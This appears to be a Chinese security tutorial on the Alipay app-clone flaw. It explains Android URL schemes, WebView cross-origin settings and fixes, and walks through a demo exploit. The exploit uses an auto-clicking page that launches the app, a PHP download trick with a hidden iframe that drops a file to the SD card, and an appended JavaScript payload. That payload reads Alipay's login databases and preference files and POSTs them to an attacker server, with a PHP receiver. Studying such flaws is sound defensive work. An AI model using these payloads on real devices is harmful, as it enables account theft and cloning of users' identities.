在分析漏洞之前,我們先來了解兩個相關知識點,跨域和URL scheme。
一、URL Scheme
URL Scheme是一種頁面內跳轉協議,就是通過定義自己的scheme協議,可以非常方便跳轉app中的各個頁面;通過scheme協議,服務器可以定制化告訴App跳轉那個頁面,可以通過通知欄消息定制化跳轉頁面,可以通過H5頁面跳轉頁面等。
1.URL Scheme應用場景
客戶端應用可以向操作系統注冊一個 URL scheme,該 scheme 用於從瀏覽器或其他應用中啟動本應用。通過指定的 URL 字段,可以讓應用在被調起后直接打開某些特定頁面,比如商品詳情頁、活動詳情頁等等。也可以執行某些指定動作,如完成支付等。也可以在應用內通過 html 頁來直接調用顯示 app 內的某個頁面。綜上URL Scheme使用場景大致分以下幾種:
● 服務器下發跳轉路徑,客戶端根據服務器下發跳轉路徑跳轉相應的頁面
● H5頁面點擊錨點,根據錨點具體跳轉路徑在APP端跳轉到具體的頁面
● APP端收到服務器端下發的PUSH通知欄消息,根據消息的點擊跳轉路徑跳轉相關頁面
● APP根據URL跳轉到另外一個APP指定頁面
2.URL Scheme協議格式
URL Scheme協議格式和我們打開網頁輸入的網址類似。
一個完整的完整的URL Scheme協議格式由scheme、host、port、path和query組成,其結構如下所示:
<scheme>://<host>:<port>/<path>?<query>
其中scheme既可以是Android中常見的協議,也可以是我們自定義的協議。Android中常見的協議包括content協議、http協議、file協議等,自定義協議可以使用自定義的字符串,當我們啟動第三方的應用時候,多是使用自定義協議。
如下是一個自定義協議的URI:
xl://goods:8888/goodsDetail?goodsId=10011002
通過上面的路徑 Scheme、Host、port、path、query全部包含:
● xl,即為Scheme,代表該Scheme 協議名稱
● goods,即為Host,代表Scheme作用於哪個地址域
● 8888,即為port,代表該路徑的端口號
● goodsDetail,即為path, 代表Scheme指定的頁面
● goodsId,即為query,代表傳遞的參數
3.使用方法
URL Scheme的使用方法簡要言之就是先在manifest中配置能接受Scheme方式啟動的activity;當需要調用時,將Scheme協議的URi以Data的形式加入到Intent中,隱式調用該activity。
1). 在AndroidManifest.xml中對<activity >標簽增加<intent-filter>設置Scheme
<activity android:name=".MainActivity"> <intent-filter> <!--正常啟動--> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> <intent-filter> <!--URL Scheme啟動--> <!--必有項--> <action android:name="android.intent.action.VIEW"/> <!--如果希望該應用可以通過瀏覽器的連接啟動,則添加該項--> <category android:name="android.intent.category.BROWSABLE"/> <!--表示該頁面可以被隱式調用,必須加上該項--> <category android:name="android.intent.category.DEFAULT"/> <!--協議部分--> <data android:scheme="urlscheme" android:host="auth_activity"> </intent-filter> <intent-filter> <action android:name="emms.intent.action.check_authorization"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="emms.intent.category.authorization"/> </intent-filter> </activity>
上面的設置中可以看到,MainActivity包含多個<intent-filter>設置,第一個是正常的啟動,也就是在應用列表中啟動;第二個是通過URL Scheme方式啟動,其本身也是隱式Intent調用的一種,不同在於添加了<data>屬性,定義了其接受URL Scheme協議格式為
urlschemel://auth_activity
這里需要說明下,URL Scheme協議格式中,組成URI的這些屬性在<data >標簽中都是可選的 ,但存在如下的依賴關系:
● 如果沒有指定scheme,那么host參數會被忽略
● 如果沒有指定host,那么port參數會被忽略
● 如果scheme和host都沒有指定,path參數會被忽略
當我們將intent對象中的Uri參數與intent-filter中的<data>標簽指定的URI格式進行對比時,我們只對比intent-filter的<data>標簽指定的部分,例如:
● 如果intent-filter中只指定了scheme,那么所有帶有該sheme的URI都能匹配到該intent-filter。
● 如果intent-filter中只指定了scheme和authority(authority包括host和port兩部分)而沒有指定path,那么所有具有相同scheme和authority的URI都能匹配到該intent-filter,而不用考慮path為何值。
● 如果intent-filter中同時指定了scheme、authority和path,那么只有具有相同scheme、authority和path的URI才能匹配到該intent-filter。
需要注意的是,intent-filter的<data>標簽在指定path的值時,可以在里面使用通配符*,起到部分匹配的效果。
2). 使用URL啟動Activity
Uri data = Uri.parse("urlschemel://auth_activity");
Intent intent = new Intent(Intent.ACTION_VIEW,data);
//保證新啟動的APP有單獨的堆棧,如果希望新啟動的APP和原有APP使用同一個堆棧則去掉該項
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
try {
startActivityForResult(intent, RESULT_OK);
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(MainActivity.this, "沒有匹配的APP,請下載安裝",Toast.LENGTH_SHORT).show();
}
當然可以在網頁中調用
<a href="urlschemel://auth_activity">打開新的應用</a>
或者是在JS中調用
window.location = "urlschemel://auth_activity";
二、Webview跨域
要了解什么是跨域,先得知道一個概念——同源。所謂同源是指,域名,協議,端口均相同。如果Android的webview當前頁面要加載一個不同源的頁面,那就是跨域,示例如下:
http://www.123.com/index.html 調用 http://www.123.com/server.php (非跨域)
http://www.123.com/index.html 調用 http://www.456.com/server.php (主域名不同:123/456,跨域)
http://abc.123.com/index.html 調用 http://def.123.com/server.php (子域名不同:abc/def,跨域)
http://www.123.com:8080/index.html 調用 http://www.123.com:8081/server.php (端口不同:8080/8081,跨域)
http://www.123.com/index.html 調用 https://www.123.com/server.php (協議不同:http/https,跨域)
請注意:localhost和127.0.0.1雖然都指向本機,但也屬於跨域。
三、漏洞產生原因
支付寶應用克隆漏洞產生的條件:
(1)應用中存在設置為可被導出的Activity組件,並且組件中包含Webview調用。
(2)Webview調用中setAllowFileAccessFromFileURLs 或
setAllowUniversalAccessFromFileURLs 設置為true(minSdk<=4.1 默認為true,minSdk>4.1 默認為false),導致可以跨域訪問(允許通過file域對http域進行訪問)。
setAllowFileAccess設置是否允許WebView使用File協議,默認值是允許,如果不允許使用File協議,則不會存在下述的各種跨源的安全威脅,但同時也限制了webview的功能,使其不能加載本地的html文件
setAllowFileAccessFromFileURLs設置是否允許通過file url加載的Javascript讀取其它的本地文件,這個設置在JELLY_BEAN以前的版本默認是允許,在JELLY_BEAN及以后的版本中默認是禁止的。
setAllowUniversalAccessFromFileURLs設置是否允許通過file url加載的Javascript可以訪問其它的源,包括其他的文件和http,https等其他的源。這個設置在JELLY_BEAN以前的版本默認是允許,在JELLY_BEAN及以后的版本中默認是禁止的。
四、漏洞的利用
漏洞的利用我們需要用到URL Scheme協議。支付寶中包含的幾個scheme協議如下:

在支付寶接入文檔中(https://open.alipay.com/search/searchDetail.htm)搜索了關於支付寶scheme的用法,主要有以下幾種:
(1)芝麻可信電子合約方案接入
alipays://platformapi/startapp?appId=20000067&url=為固定值
(2)卡券url scheme
卡列表(此appId為內部參數,不能更改) alipays://platformapi/startapp?appId=20000021&b=m&hasData=true&has_member_data=true 商戶卡列表(pid參數指定商戶的支付寶partner_id) alipays://platformapi/startapp?appId=20000021&b=t&a=sh&pid=xxx 卡詳情(p參數指定會員卡的支付寶編號) alipays://platformapi/startapp?appId=20000021&b=m&p=11111&tagfrom=push
網上有文章(http://open.appscan.io/article-470.html)說,在Android版Chrome瀏覽器版本18及更早版本可以通過在頁面中嵌入iframe來實現打開應用程序
<iframe src="paulsawesomeapp://page1">
在25及更高版本上,設置iframe的src屬性不再可能啟動Android應用程序,但是使用a標簽是可以的。但是我在實際測試中,在chrome25以上版本使用a標簽或者chrome18版本使用iframe設置src屬性均不能打開支付寶,后來換成系統默認瀏覽器,可以打開支付寶,但是通過上述URL scheme均不能加載file域資源。
所以,這里只能自己寫demo程序演示這個原理了,以后如果復現成功了再補充。
首先,創建一個demo工程,包含一個MainActivity,在該Activity中通過setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs為true開啟了webview的跨域功能(實際只需要設置一個就行了)。具體代碼如下:
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); wView = (WebView)findViewById(R.id.wv); WebSettings wSet = wView.getSettings(); wSet.setJavaScriptEnabled(true); //開啟跨域訪問,以下兩個方法開啟一個就行了 wSet.setAllowFileAccessFromFileURLs(true); wSet.setAllowUniversalAccessFromFileURLs(true); wView.setWebViewClient(new WebViewClient()); Uri uri = getIntent().getData(); if (uri != null && uri.getScheme().equals("vultest")){ String url = uri.getQueryParameter("url"); wView.loadUrl(url); } }
以下是該activity的URL scheme配置

由前面介紹的URL Scheme的知識我們知道,可以通過<a href="vultest://bamb00.com"></a>打開這個activity。
我們看到代碼中通過loadUrl加載了URL Scheme傳遞進來的參數作為url,但是並沒有對這個url路徑進行校驗,所以我們完全可以通過構造一個url scheme傳遞一個指向惡意文件的路徑,讓該應用的webview加載,從而實現漏洞利用。
我們首先在SD卡上創建一個evil.html文件作為惡意代碼文件,內容如下:
<?xml version="1.0" encoding="utf-8"?> <html> <head> <tilt>恭喜你,中獎了!</title> </head> <body> <a>Hello World.</a> </body> </html>
然后我們在pc上用xampp搭建一個php服務器,創建一個test.html文件放入根目錄,test.html的文件內容如下:
<script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js"></script> <script type="text/javascript"> $(function(){ function clicksp(){ $("#sp").trigger("click"); } setTimeout(clicksp, 500); }); </script> <a href="vultest://bamb00.com?url=file:///sdcard/evil.html">open app<span id="sp"></span></a>
然后我們通過在手機瀏覽器中訪問“pc機IP地址/evil.html”進行測試,發現demo程序已被啟動,如圖:

點擊“open app”鏈接,就成功加載了惡意頁面:

跨域漏洞利用是成功了,但是這個惡意頁面應該如何放到用戶手機上呢?這就需要利用到chrome瀏覽器的一個漏洞了。
chrome瀏覽器在處理 Content-Disposition: attachment 的時候,UI設計存在漏洞,導致可以自動下載文件到固定的本地目錄。PoC如下:
<?php header("Content-Disposition: attachment; filename=evil.html"); print "I'm evil.html" ?>
上述代碼表示下載一個文件名為evil.html的文件,內容為"I'm evil.html"(在這里代表惡意代碼)。
接下來,我們創建一個test.php文件,寫入上述內容,放入服務器web根目錄,然后在test.html文件開頭加上代碼:
<iframe style="display:none" src="test.php"></iframe>
如圖所示:

然后在瀏覽器中訪問該頁面,就會自動下載evil.html文件到sd卡的Download目錄中,然后打開demo app跨域加載該頁面,執行惡意代碼了,如圖所示:

如果在evil.html中寫入的是獲取應用“/data/data/包名”目錄下保存用戶登錄信息文件上傳給服務器端的代碼,那么惡意攻擊者就只需要想辦法讓用戶點擊攻擊者精心構造的test.html的鏈接,就完全可以獲取用戶身份信息,在另外一部手機上克隆這個應用的用戶信息了。支付寶克隆漏洞的產生也是如此。支付寶存在開啟了跨域功能的webview組件,而且這個頁面是可以通過URL Scheme協議打開的。惡意攻擊者只要借助一個釣魚頁面就把手機中支付寶賬號信息上傳到自己的服務器了。
解決方案
具備開發能力的企業,請按照如下檢查步驟進行修復:
(1) 嚴格限制包含WebView調用的Activity組件的導出權限,關閉導出權限或者限制導出組件的發起者。
(2) 對於功能要求必須導出的Activity組件,根據情況手動設置setAllowFileAccess(false)、setAllowFileAccessFromFileURLs(false)或 setAllowUniversalAccessFromFileURLs(false)
(3) 對於必須使用file URL對http域進行訪問時,可對傳入的URL路徑范圍嚴格控制,例如建立URL白名單,設置允許訪問的URL列表(不要遺漏路徑中可能出現的特殊情況如“../../”等,避免限制被繞過)
附:
上傳沙箱文件到服務器端代碼:
<div><h2>Hello<h2>Hello Alipay!</h2>
<script>
var server = "http://服務端地址/recv.php";
function createXHR(){
if(typeof XMLHttpRequest != 'undefined'){
return new XMLHttpRequest();
}else if(typeof ActiveXObject != 'undefined'){
if(typeof arguments.callee.activeXString != 'string'){
var versions = ['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp'];
for(var i=0;i<versions.length;i++){
try{
var xhr = new ActiveXObject(versions[i]);
arguments.callee.activeXString = versions[i];
return xhr;
}catch(ex){}
}
}
return new ActiveXObject(arguments.callee.activeXString);
}else{
throw new Error('No XHR Object available');
}
}
// send POST Request
function sendPostRequest(url,data,headers,callback){
var xhr = createXHR();
xhr.onload = function(){
callback(xhr.responseText);
}
xhr.open('POST',url,false);
if(typeof(headers)=='object'){
for(var index in headers){
if(typeof(headers[index])!='function'){
xhr.setRequestHeader(index,headers[index]);
}
}
}
xhr.send(data);
}
// send GET Request to read file and return base64(file_content)
function sendGetRequestForB64File(url, filename, callback) {
var xhr = createXHR();
xhr.onload = function() {
var reader = new FileReader();
reader.onloadend = function() {
var result = reader.result;
var data = result.substr(result.search('base64,') + 'base64,'.length,result.length);
data = data.replace(/\+/g,'-').replace(/\//g, '_');
callback(filename, data);
}
reader.readAsDataURL(xhr.response);
};
xhr.open('GET', url);
xhr.responseType = 'blob';
xhr.send();
}
var files = Array(
'databases/alipayclient.db',
'databases/alipayclient.db-journal',
'files/SGMANAGER_DATA2',
'shared_prefs/alipay_tid_storage.xml',
'shared_prefs/secuitySharedDataStore.xml'
);
var base_path = 'file:///data/data/com.eg.android.AlipayGphone/';
for(var each in files){
var file_path = base_path + files[each]
sendGetRequestForB64File(file_path,files[each],function(filename, response){
sendPostRequest(
server,
'name=' + escape(filename) + '&' + 'content=' + escape(response),
{"Content-type" : "application/x-www-form-urlencoded"},
function(a){}
);
});
}
</script>
</div>
服務端代碼recv.php
<?php function base64url_decode($data) { return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT)); } file_put_contents('/home/exp/clone_attack/'.$_POST['name'], base64url_decode($_POST['content'])); ?>
參考資料:
http://open.appscan.io/article-470.html
https://www.jianshu.com/p/6a6bff614407
http://ijz.me/?p=999
